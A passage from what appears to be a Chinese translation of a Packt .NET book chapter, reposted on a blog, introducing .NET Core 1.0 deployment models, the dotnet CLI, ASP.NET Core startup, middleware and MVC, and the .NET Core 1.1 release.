  DirectoryInfo di = newDirectoryInfo(path);
  var files = di.EnumerateFiles("*.txt",
  SearchOption.TopDirectoryOnly).ToArray();
  foreach (var item in files)
  {
    Console.WriteLine(" "+ File.ReadAllText(item.FullName));
  }
}

我们可以像往常一样编译程序,在运行时,我们应该看到输出,只在工作在.NET Core 基础设施上(参考下一张截图):

.NET Core 的安装

如你所见,使用的功能、代码、库和命名空间与我们在标准控制台应用程序中使用的完全相同——只是现在,我们使用的是.NET Core 1.0 库和架构。

然而,看一下代码(和输出)可能会引起你的注意,因为我们在输出窗口中看到的可执行文件名是dotnet.exe而不是我们给解决方案起的名字NETCoreConsoleApp1

这种情况的原因与这种模型相关的复杂性有关。该应用程序被认为可以在不同的平台上执行。默认选项允许部署架构根据目标确定配置 JIT 编译器的最佳方式。这就是为什么执行是由 dotnet 运行时(命名为dotnet.exe)来完成的。

在.NET Core 中,定义了两种类型的应用程序:可移植的和自包含的。正如官方文档所述:

“可移植应用程序是.NET Core 的默认类型。为了使它们能够运行,需要在目标机器上安装.NET Core。对你作为开发者来说,这意味着你的应用程序可以在.NET Core 的不同安装之间移植。”

自包含应用程序不依赖于任何共享组件存在于你想要部署应用程序的机器上。正如其名所示,这意味着整个依赖项封闭,包括运行时,都与应用程序打包在一起。这使得它更大,但同时也使得它能够在任何.NET Core 支持的平台上运行,只要有正确的本地依赖项,无论是否安装了.NET Core。这使得将其部署到目标机器变得容易得多,因为你只需部署你的应用程序。”

我们正在使用的默认配置是可移植的。这个配置在哪里设置的?在project.json依赖项部分,你会看到有一个"type":"Platform"条目。这就是指示这种执行模型的原因。

实际上,生成的程序集是一个 DLL,正如你在编译后查看bin/debug目录时可以看到的。在我们的例子中,这个 DLL 只有 6 Kb 长。

那么,其他选择呢?好吧,如果你知道你将要针对某个平台,你可以在project.json文件中删除之前提到的条目(即第一个)。其次,你应该保留Microsoft.NET Core.App依赖项,因为它将检索所有其他所需组件。最后,你需要在(运行时节点中)指出你想要使用的那些。

因此,我将project.json文件更改为以下配置:

{
  "version": "1.0.0-*",
  "buildOptions": {
    "emitEntryPoint": true
  },

  "dependencies": {
    "Microsoft.NETCore.App": {
      "version": "1.0.0"
    }
  },
  "runtimes": {
    "win10-x64": {}
  },
  "frameworks": {
    "netcoreapp1.0": {
      "imports": "dnxcore50"
    }
  }
}

现在,编译器的行为有所不同:它生成一个新的文件夹(依赖于调试文件夹),包含一个真正的本地可执行文件,其中包含在那种类型的任何平台上运行所需的所有元素(在我们的演示中是win10-x64)。

编译后,你会看到出现新文件,其中之一现在将是一个可执行文件。如果你在资源管理器中移动到那个文件夹,你会看到一个新的名为NETCoreConsoleApp1.exe的文件,这是一个独立的可执行文件。此外,这个新文件比 DLL 大,因为它包含了所有需求(参见图表):

.NET Core 的安装

注意

docs.microsoft.com/es-es/dotnet/articles/core/tools/project-json中,对所有可能的配置选项进行了详尽的解释。

CLI 界面

如我们之前提到的,现在可供开发此类应用程序的另一种选择是 Core CLI 的独立安装或之前安装的(DotNetCore.1.0.0 - VS2015Tools.Preview2.0.1文件)提供的命令行界面。

根据目标平台,提供了几个预配置的命令行窗口,统称为跨工具命令提示符。只需打开与你的目标平台相对应的一个,然后按照以下步骤进行操作。

你可以使用微软准备好的初始基本演示模式作为此工具的启动。在打开命令提示符后,创建一个新目录,该目录将作为新项目的根目录。在我的例子中,我在新的C:\dev\hello_world目录中这样做(避免使用C:\根目录可能引起的一些安全问题)。

到目前为止,你只需输入dotnet –help即可请求帮助,如下面的截图所示:

CLI 界面

要在此位置创建一个新项目,请输入dotnet new。Core CLI 将下载所有必需的组件到你的目录中,包括一个基本的应用程序模板,其中包含一个program.cs文件,它包含经典的Hello World控制台应用程序,以及默认的project.json文件。

从这个点开始,你也可以使用 Visual Studio Code(任何平台,记住)打开项目并做出所需更改。点(.)表示 IDE 使用当前目录作为解决方案目录。

下一步是调用 dotnet restore。结果是 NuGet 被调用以恢复 project.json 中定义的树形依赖关系,并创建一个名为 project.lock.json 的此文件变体,如果你想要能够编译和运行(如果你打开此文件,你会看到它相当大)。

官方文档将此文件定义为:

“一个持久且完整的 NuGet 依赖关系图集和描述应用程序的其他信息的集合。此文件由其他工具读取,例如 dotnet build 和 dotnet run,使它们能够使用正确的 NuGet 依赖关系集和绑定解析来处理源代码。”

从这里,有几个选项可供选择。你可以启动 dotnet build 命令,这将构建应用程序并生成类似于我们在 Visual Studio 中看到的目录结构。它不会运行;它只会生成结果文件。

替代选项是调用 dotnet run。使用此命令,将调用 build 选项,然后启动执行;因此,你应该会看到类似以下内容:

CLI 接口

当然,查看生成的文件是一个好习惯,这些文件将位于调试文件的一个子目录中,就像我们的 Visual Studio 应用程序一样:

CLI 接口

如果你好奇,可以将 project.json 文件更改为生成独立的可执行文件,就像我们之前做的那样,结果应该是等效的。

好吧,到目前为止,我们已经看到了 .NET Core 1.0 的介绍,但这不是 .NET Core 支持的唯一开发模型。让我们看看——非常有趣的——ASP.NET Core 1.0。

ASP.NET Core 1.0

适用于使用 .NET Core 的 ASP.NET 应用程序所采用的模型完全基于之前的 MVC 模型。但它是从零开始构建的,目标是跨平台执行,消除一些功能(不再必要),以及将之前的 MVC 与 Web API 变体统一;因此,它们使用相同的控制器类型。

此外,在开发过程中,代码不需要在执行前编译。你可以即时更改代码,Roselyn 服务会负责更新;因此,你只需刷新页面即可看到更改。

如果我们查看新的模板列表,在“Web”开发部分安装 .NET Core 后,我们将获得一个经典的 ASP.NET 版本,其中包含你已知的典型模板(包括 Web 表单应用程序)和两个新选项:ASP.Core Web Application (.NET Core) 和 ASP.NET Core Web Application (.NET Framework)(回顾 .NET Core 1.0 部分开头的第一张图像以记住架构)。

新增功能

在这个版本的 ASP.NET Core 中出现了许多新事物。首先,有一个新的托管模型,因为 ASP.NET 已经完全从托管应用程序的 Web 服务器环境中解耦。它支持 IIS 版本,也支持通过 Kestrel(跨平台、极致优化、基于 LibUv,这是 Node.js 使用的相同组件)和 WebListener HTTP(仅限 Windows)服务器进行自托管。

我们还依赖于新一代的中间件,它们是异步的、非常模块化的、轻量级的,并且完全可配置的,其中我们定义了诸如路由、身份验证、静态文件、诊断、错误处理、会话、CORS、本地化和甚至你可以编写和包含你自己的中间件。

注意

对于那些不知道的人来说,中间件是在用户代码之前和之后运行的管道元素。管道的组件按顺序执行,并调用管道中的下一个组件。这样,我们可以执行预/后代码。当一个中间件生成Response对象时,管道返回。

参考以下架构:

有什么新变化

此外,一个新的内置 IoC 容器用于依赖注入负责启动系统,我们还发现了一个新的配置系统,我们将在稍后更详细地讨论。

ASP.NET Core 将许多之前分离的事物结合在一起。不再区分 MVC 和 Web API,并提供了一套完整的新 Tag Helpers。如果你针对.NET Core,或者如果你更喜欢针对.NET 的其他版本,那么架构模型将是 MVC,这是重建的架构。

第一次尝试

让我们看看由 Visual Studio 2015 中可用的默认模板组成的项目结构。你只需在 Visual Studio 中选择新建项目 | Web,就可以看到这些替代方案的实际效果:

第一次尝试

我认为从最简单的模板开始,并开始挖掘背后这个新提案的编程架构是一个好主意。所以,我会从这些新项目中的一个开始,并选择选项。我得到了三个初始选择:Web APIWeb 应用程序

将为我们创建一个基本的目录结构,其中我们可以轻松地找到在.NET Core 简介中之前看到的一些元素(包括用于定义目录、项目和包的分离的global.json文件)。我给这个演示命名为ASPNETCoreEmpty(参考下一张截图以了解解决方案结构)。

你可能会惊讶地注意到某些文件最初缺失(以及存在)。

例如,有一个名为 wwwroot 的新文件夹,您可能从其他托管在 IIS 中的应用程序中很熟悉。在这种情况下,这与 IIS 没有关系:它仅仅意味着它是我们站点的根目录。实际上,您也会看到一个 web.config 文件,但只有在您确切希望网站托管在 IIS 上时才使用它。

您还会看到 project.json 文件的存在,但请注意这一点。正如官方文档所述:

"ASP.NET Core 的配置系统已经从之前版本的 ASP.NET 中重新架构,之前版本的 ASP.NET 依赖于 System.Configuration 和像 web.config 这样的 XML 配置文件。新的配置模型提供了对基于键/值设置的流畅访问,这些设置可以从各种来源检索。然后应用程序和框架可以使用新的 Options 模式以强类型方式访问配置设置。"

下一个截图说明了项目创建的两个主要 .cs 文件:

第一次尝试

此外,官方建议您使用 C# 编写的配置,它与文件结构中看到的 Startup.cs 文件相关联。一旦到达那里,您应该使用 Options 模式来访问任何单个设置。

因此,我们现在有两个初始点:一个与宿主相关,另一个配置我们的应用程序。

配置和启动设置

让我们简要分析一下文件的内容:

// This method gets called by the runtime. Use this method to add 
// services to the container.
public void ConfigureServices(IServiceCollection services)
{
}
// This method gets called by the runtime. Use this method to configure
// the HTTP request pipeline.
public void Configure(IApplicationBuilder app, IHostingEnvironmentenv,
ILoggerFactory loggerFactory)
{
  loggerFactory.AddConsole();

  if (env.IsDevelopment())
  {
    app.UseDeveloperExceptionPage();
  }

  app.Run(async (context) =>
  {
    await context.Response.WriteAsync("Hello World!");
  });
}

您可以看到,这里只有两种方法:ConfigureServicesConfigure。前者允许(您猜对了)配置服务。它接收的 IServiceCollection 元素允许您配置登录、选项以及两种服务类型:scopedtransient

后者是我们的应用程序的初始入口点,它接收三个参数,允许开发者进行所有类型的配置和初始设置。第一个参数 loggerFactory 允许您向登录系统添加 ILoggerProvider(有关更多详细信息,请参阅 docs.asp.net/en/latest/fundamentals/logging.html),在这种情况下,它添加了 Console 提供者。

注意

注意,这两个方法的参数是自动接收的。在幕后,依赖注入引擎提供了这些和其他实例的元素。

我们可以添加任意多的日志提供者:每次我们写入日志条目时,该条目将被转发到每个日志提供者。默认提供者将写入控制台窗口(如果可用)。

以下行还解释了有关此管道工作方式的一些重要内容。第二个参数(类型为 IHosting Environment)允许您配置两个不同的工作环境:开发和生产,因此我们可以像在这种情况下一样激活适合开发的错误页面,或者我们可以以定制的方式配置这些错误。此参数还包含一些对开发者有用的属性。

第三个参数(类型为IApplication Builder)是真正启动应用程序的那个。正如你所见,它调用通过注入接收到的另一个对象的Run方法:context变量(类型为HttpContext),它包含所有必需的信息和方法来操作对话框过程。

如果你仔细看看,你会发现它具有诸如ConnectionRequestResponseSessionUser等属性,以及一个可以在任何时间取消连接的Abort方法。

实际上,代码以异步方式(使用async/await)调用Run方法,并写入面向客户端的内容。请注意,这里还没有隐含 HTML。如果你运行项目,你将看到每次在本地主机上对端口的请求时,都会如预期地看到Hello World文本。(IDE 为每个应用程序随机分配不同的端口,你当然可以更改它)。

因此,你可以更改Response对象,向初始响应中添加更多信息。查看context对象会显示与进程相关的几个属性,例如具有Local Port属性的Connection对象,我们可以通过仅修改此方式中的代码将其添加到Response中:

app.Run(async (context) =>
{
  string localPort = context.Connection.LocalPort.ToString();
  await context.Response.WriteAsync("Hello World! - Local Port: " + localPort);
});

然而,我们说过我们可以更改托管上下文。如果我们选择运行的主机是我们的应用程序名称而不是 IIS Express,那么我们就是在选择自托管选项,在运行时将打开两个窗口:一个控制台窗口(对应于主机)和选定的浏览器,通过应用程序发送请求。

因此,我们应该看到一个控制台,显示与托管相关的数据,如图中所示:

配置和启动设置

同时,选定的浏览器将打开,显示初始消息以及修改后的信息,包括端口号:

配置和启动设置

注意,尽管查看代码似乎有一些标记,但这被包含在浏览器中,因为当它们接收到纯文本时,它们会将其包裹在一些基本标记中,而不是简单地显示没有 HTML 的文本。但我们还没有激活提供静态文件的功能。

此外,请注意没有检查资源;因此,无论你在localhost:5000地址旁边放置什么,你都会得到相同的结果。

另一方面,主机构建是在Program.cs文件中进行的,在那里我们找到入口点,它仅创建一个新的主机,调用WebHost Builder的构造函数并配置一些默认行为:

public static void Main(string[] args)
{
  var host = new WebHostBuilder()
  .Use Kestrel()
  .Use ContentRoot(Directory.GetCurrentDirectory())
  .Use IIS Integration()
  .Use Startup<Startup>()
  .Build();
  host.Run();
}

如果你查看WebHost Builder类(它遵循构建器模式),你会发现它充满了Use*之类的函数,这些函数允许程序员配置这种行为:

配置和启动设置

在前面的例子中,使用了 Kestrel web 服务器,但也可以指定其他 web 服务器。代码还表明,你使用当前目录作为内容根来与 IIS 集成(这就是为什么这是可选的),并使用可用的Startup实例来完成其配置,在实际上构建服务器之前。

一旦构建完成,服务器就会启动,这就是为什么如果我们选择自托管而不是 IIS,我们会在控制台中看到这些信息的原因。

自托管应用程序

正如我们所言,自托管应用程序有许多好处:应用程序执行它运行所需的一切。也就是说,不需要预先安装.NET Core,这使得这个选项在受限环境中非常有用。

在操作上,它就像一个正常的本地可执行文件一样工作,我们可以为任何支持的平台构建它。未来的计划是将这个可执行文件转换为纯本地可执行文件,具体取决于要使用的平台。

在深入研究 MVC 之前,如果你想要服务静态文件,你必须确保已经配置了UseContentRoot方法,并且你需要添加另一段中间件来指示这一点。只需将以下内容添加到你的Configure方法中,并添加一些你可以调用的静态内容:

app.UseStaticFiles();

在我的情况下,我创建了一个非常简单的index.html文件,包含几个 HTML 文本标签和一个img标签,以便动态调用http://lorempixel.com网站以提供 200 x 100 大小的图像文件:

<h2>ASP.NET Core 1.0 Demo</h2>
<h4>This content is static</h4>
<imgsrc="img/100"alt="Random Image"/>

如果你将此文件留在wwwroot目录中,你现在可以调用http://localhost:<端口>/index.html地址,你应该能看到页面效果一样:

自托管应用程序

因此,没有任何阻止你使用 ASP.NET Core 技术来构建和部署静态站点,甚至不需要使用 MVC、Web Pages、Web Forms 或其他经典 ASP.NET 元素的功能性站点。

一旦我们了解了 ASP.NET Core 的基本结构,就到了查看更复杂的项目的时候了,(MVC 类型),类似于微软以前在模板中包含的典型初始解决方案,包括控制器、视图、Razor 的使用,以及第三方资源,如 BootStrap 和 jQuery 等。

但在我们深入之前,让我先指出最近在 ASP.NET Core 开发团队发布的基准测试中获得的一些令人惊讶的结果:使用 ASP.NET Core 的性能提升是有意义的。

该基准测试是为了比较经典 ASP.NET 4.6、Node.js、ASP.NET Core (Weblist)、ASP.NET Core on Mono、ASP.NET Core (CLR)、ASP.NET Core (on Linux)和 ASP.NET Core (Windows),在最后一种情况下,在细粒度请求中每秒达到 1,150,000 个请求(远优于 Node.js)。请参考以下图表:

自托管应用程序

ASP.NET Core 1.0 MVC

如果我们在创建新的 ASP.NET Core 应用程序时选择完整模板,我们会发现一些有意义的更改和扩展功能。

我认为比较这两种方法以确切了解允许这些类型应用程序的哪些元素被添加或修改是有趣的。首先,注意新的文件结构。

现在,我们认识到我们从 ASP.NET MVC 应用程序中已经知道的典型元素:控制器、视图(在这种情况下没有Model文件夹,因为基本模板中不需要它),以及来自wwwroot的四个静态资源文件夹。

它们包含应用程序中使用的 CSS 推荐位置文件夹、静态图像、JavaScript 文件(例如,访问新的 ECMA Script2015 API),以及 Bootstrap 的 3.3.6 版本、jQuery 的 2.2 版本和 jQuery Validation 插件的 1.14 版本(当然,版本号会随时间变化)。

这些文件通过Bower加载到项目中。在依赖关系部分,您会找到一个Bower文件夹,您可以使用它——甚至是动态地——来更改版本、更新到更高版本等。

小贴士

如果您在任何一个Bower条目上右键单击,上下文菜单将提供更新包、卸载它或管理其他包的选项,以便您可以添加新的缺失包。

所有这些都在wwwroot部分下。但是,查看ControllersViews文件夹,您会发现某种程度上的熟悉结构和内容:

ASP.NET Core 1.0 MVC

当然,如果您运行应用程序,主页面将启动,类似于之前的 ASP.NET MVC 版本——只是结构已经改变。让我们看看如何,从回顾Startup.csProgram.cs文件开始。

Startup内容中首先要注意的是,现在,类有一个构造函数。这个构造函数使用类型为IConfigurationRoot的对象,命名为Configuration,定义为公共的;因此,它包含的内容可以在整个应用程序中访问。

如文档所述:

“配置只是一个源集合,它提供了读取和写入名称/值对的能力。如果将名称/值对写入配置,则不会持久化。这意味着当再次读取源时,写入的值将丢失。”

为了使项目正常运行,您必须配置至少一个源。实际上,当前实现做了其他事情:

public Startup(IHostingEnvironmentenv)
{
  var builder = newConfigurationBuilder()
  .SetBasePath(env.ContentRootPath)
  .AddJsonFile("appsettings.json", optional: true, reloadOnChange: true)
  .AddJsonFile($"appsettings.{env.EnvironmentName}.json", optional: true)
  .AddEnvironmentVariables();
  Configuration = builder.Build();
}

该过程分为两个阶段。首先,创建一个Configuration Builder对象,并配置它从不同的源(JSON 文件)读取。以这种方式,当运行时创建Startup实例时,所有必需的值已经读取,如下一张截图所示:

ASP.NET Core 1.0 MVC

与原始演示相比,下一个重要更改是 MVC 是一个可选服务,需要显式注册。这是在ConfigureServices方法中完成的。

最后,运行时在Startup对象中调用Configure。这次,我们看到调用了Add Debug(),并且根据应用程序的环境(开发或生产),配置了不同的错误页面。(顺便说一下,也请注意对Add StaticFiles()的调用,这是我们之前在演示中添加的。)

在这个中间件配置过程的最后一步是配置路由。那些经验丰富并且已经熟悉 ASP.NET MVC 的人会很容易地认出我们在这里使用的与经典版本中相似的代码结构,尽管这里的默认配置已经简化了。

这也解释了为什么应该在Configure之前调用Configure Services,因为后者调用添加了 MVC 服务。

所有这些准备就绪后,应用程序就可以启动了;因此,运行时将转到入口点(Program.cs中的Main方法)。

这里还有一个有趣的行为:构建了 Web 宿主。WebHost Builder负责构建。只有当这个构建器被实例化和配置后,过程才会结束,调用Build()方法。这个方法生成一个工作并调整过的服务器,最终启动。查看代码也告诉我们更多关于结构的信息:

public static void Main(string[] args)
{
  var host = new WebHostBuilder()
  .Use Kestrel()
  .Use ContentRoot(Directory.GetCurrentDirectory())
  .Use IISIntegration()
  .Use Startup<Startup>()
  .Build();

  host.Run();
}

注意UseStartup方法是如何将主程序与之前定义的Startup对象连接起来的。

自然地,如果你想检查最终运行服务器的属性,在host.Run()调用中的断点会告诉你关于ServicesServer Features属性的信息。

当然,关于运行时及其用于配置和执行服务器所使用的类还有很多内容,你可以在文档中找到这些内容,而且这些内容远远超出了本介绍的范畴。

至于其余的代码(业务逻辑),它与经典 MVC 中的代码非常相似,但我们会在为了使架构跨平台以及提供对常见开发者工具(如 Bower、NPM、Gulp、Grunt 等)的原生支持之外,找到许多新增和修改。

查看HomeController类,基本上结构相同,只是现在动作方法被定义为IActionResult类型,而不是ActionResult类型:

public IActionResult About()
{
  ViewData["Message"] = "Your application description page.";

  return View();
}

因此,我们可以通过完全相同的模式添加另一个动作方法。这发生在模型部分(此处未显示)。模型应该被定义为一个POCOPlain Old CLR Object)类,具有很少或没有行为。这样,业务逻辑就被封装起来,可以在应用程序需要的地方访问。

让我们创建一个Model和一个Action方法及其相应的视图,这样我们就可以看到它与之前版本有多么相似。

我们将创建一个新的Model文件夹,并在其中添加一个名为PACKTAddress的类,我们将定义一些属性:

public classPACKTAddress
{
  public string Company { get; set; }
  public string Street { get; set; }
  public string City { get; set; }
  public string Country { get; set; }
}

一旦编译完成,我们就可以在 HomeController 中创建一个新的操作方法。我们需要创建一个 PACKTAddress 类的实例,用所需的信息填充其属性,并将其传递给相应的视图,该视图将接收并展示数据:

public IActionResult PACKTContact()
{
  ViewData["Message"] = "PACKT Company Data";

  var viewModel = new Models.PACKTAddress()
  {
    Company = "Packt Publishing Limited",
    Street = "2nd Floor, Livery Place, 35 Livery Street",
    City = "Birmingham",
    Country = "UK"
  };
  return View(viewModel);
}

这样,我们新视图的业务逻辑几乎就准备好了。下一步是添加一个与操作方法同名的视图文件,它将位于 Views/Home 文件夹中其兄弟文件的旁边。

在视图中,我们需要添加对刚刚传递的模型的引用,并使用 Tag Helpers 来恢复数据,以便在页面上展示其结果。

这相当简单直接:

@model WebApplication1.Models.PACKTAddress
<h2>PACKT Publishing office information</h2>
<address>
  @Model.Company<br/>
  @Model.Street<br/>
  @Model.City, @Model.Country <br/>
  <abbrtitle="Phone">P:</abbr>
  0121 265 6484
</address>

在构建此视图时,应该注意以下几点。首先,我们在视图编辑器中具有与经典 MVC 一样的普通 Intellisense。这很重要,这样我们就可以始终确保上下文正确识别值模型。

因此,如果我们已经编译了代码并且一切正常,我们应该在创建视图的过程中看到这些辅助功能:

ASP.NET Core 1.0 MVC

最后,我们必须通过在 _Layout.cshtml 主页中包含一个新的菜单项来指向视图,就像之前的条目一样,将我们的新视图集成到主页中。因此,修改后的菜单将如下所示:

<ulclass="nav navbar-nav">
  <li><aasp-controller="Home"asp-action="Index">Home</a></li>
  <li><aasp-controller="Home"asp-action="About">About</a></li>
  <li><aasp-controller="Home"asp-action="Contact">Contact</a></li>
  <li><aasp-controller="Home"asp-action="PACKTContact">PACKT Information</a></li>
</ul>

在这里,您会注意到与 ASP.NET 相关的新自定义属性的存在:asp-controllerasp-action 等等。这与我们在构建 AngularJS 应用程序时处理控制器的方式类似。

此外,请注意我们使用 ViewData 对象传递了一些额外的信息,该对象已被恢复以供首选使用,而不是之前的 ViewBag 对象。

最后,我在标准图像(没有问题或配置功能)中添加了一个指向这本书封面的链接。当我们启动应用程序时,将出现一个新的菜单元素,如果我们点击该链接,我们应该在主应用程序页面内看到新的页面,就像我们预期的那样:

ASP.NET Core 1.0 MVC

管理脚本

如您在查看文件夹内容后可能看到的,与配置选项相关的 .json 文件更多。实际上,在这个项目中,我们看到有几个文件,每个文件负责配置的一部分。它们的作用如下:

  • launch Settings.json:它位于 Properties 目录下。它配置端口、浏览器、基本 URL 和环境变量。

  • app Settings.json:它位于根级别,而不是 wwwroot。它定义了日志值,也是放置其他应用程序相关数据的地方,例如连接字符串。

  • bower.json:它位于根级别,而不是 wwwroot。它定义了应用程序中必须使用 Bower 服务更新的外部组件,例如 Bootstrap、jQuery 等。

  • bundle Config.json:它位于根目录,而不是 wwwroot。这是你定义要捆绑和压缩哪些文件的地方,同时指定每种情况下的原始和最终文件名。

因此,我们已经看到了编程模型的改进,还有许多与新的 Tag Helpers、建模、数据访问和其他许多我们无法在此涵盖的功能相关的改进,但我希望这已经为新的架构提供了一个介绍。

.NET Core 1.1

在关闭本书编辑过程的前几天,微软在 Connect() 事件中宣布了 .NET Core 新版本的可用性。这次更新也影响了“Core”系列的相关版本:ASP.NET Core 1.1 和 EF Core 1.1。

显然,这不是一个有很多基础性变化或破坏性变化的版本。开发团队的重点是扩大操作系统目标,提高性能,并修复错误,从根本上讲。

因此,根据 Github 官方页面 (github.com/dotnet/core/blob/master/release-notes/1.1/1.1.md) 和团队博客,更改主要集中在以下四个不同领域:

  • 支持以下发行版:

    • Red Hat Enterprise Linux 7.2

    • CentOS 7.1+

    • Debian 8.2+

    • Fedora 23, 24*

    • Linux Mint 17.1, 18*

    • Oracle Linux 7.1

    • Ubuntu 14.04 & 16.04

    • Mac OS X 10.11, 和 10.12

    • Windows 7+ / Server 2012 R2+

    • Windows Nano Server TP5 Linux Mint 18

    • OpenSUSE 42.1

    • MacOS 10.12(也添加到 .NET Core 1.0)

    • Windows Server 2016(也添加到 .NET Core 1.0)

  • 性能改进,这导致了超过 Node 和 Nginx 获得的基准测试(达到 ASP.NET Core 1,15 百万请求/秒)

  • API 中添加了几个新功能,以及数百个错误修复

  • 现在的文档进行了重大更新,现在更加易于访问和全面

对于 ASP.NET Core 1.1,文档指出,这个版本的设计围绕以下功能主题,以帮助开发者:

  • 使用除 Windows Internet Information Server (IIS) 以外的主机时,改进了和跨平台兼容的网站托管能力

  • 支持使用原生 Windows 功能进行开发

  • 在整个 UI 框架中,中间件和其他 MVC 功能的兼容性、可移植性和性能

  • 改善了在 Microsoft Azure 上部署和管理 ASP.NET Core 应用程序的经验

关于此版本提供的新闻的更多详细信息,您可以阅读文章 Announcing the Fastest ASP.NET Yet, ASP.NET Core 1.1 RTM,在 blogs.msdn.microsoft.com/webdev/2016/11/16/announcing-asp-net-core-1-1/

摘要

在这一章的最后一部分,我们看到了三个不太为人所知的方面,其中包括对微软今年正式提出的新的 .NET Core 和 ASP.NET Core 方案的简要介绍。

这是本书的最后一章,我在其中回顾了使用(主要是,但不仅限于)C# 语言来进行的 .NET 编程状态。

我们对语言的不同版本进行了历史性的回顾,包括最新的稳定版 C# 7,并通过一系列示例展示了它在不同上下文和应用场景中的行为以及如何使用它。

我们还比较了其他提案,如功能型语言 F# 和流行的 TypeScript。

数据管理也是一个重要的主题,涵盖了当今最流行的两种模型(SQL 和 NoSQL),展示了如何使用这两种模型,它们的优点和注意事项。

最后,我们专门用几章内容介绍了遍历技术,这些技术涉及到整个应用程序,如架构、良好实践、安全性和性能,并以这一杂项章节结束。

我真诚地希望这篇文章能作为您参考,了解 .NET 程序员今天所拥有的许多可能性,并可能为您的需求开辟新的路径和渠道。

posted @ 2025-10-26 08:54  绝不原创的飞龙  阅读(2)  评论(0)    收藏  举报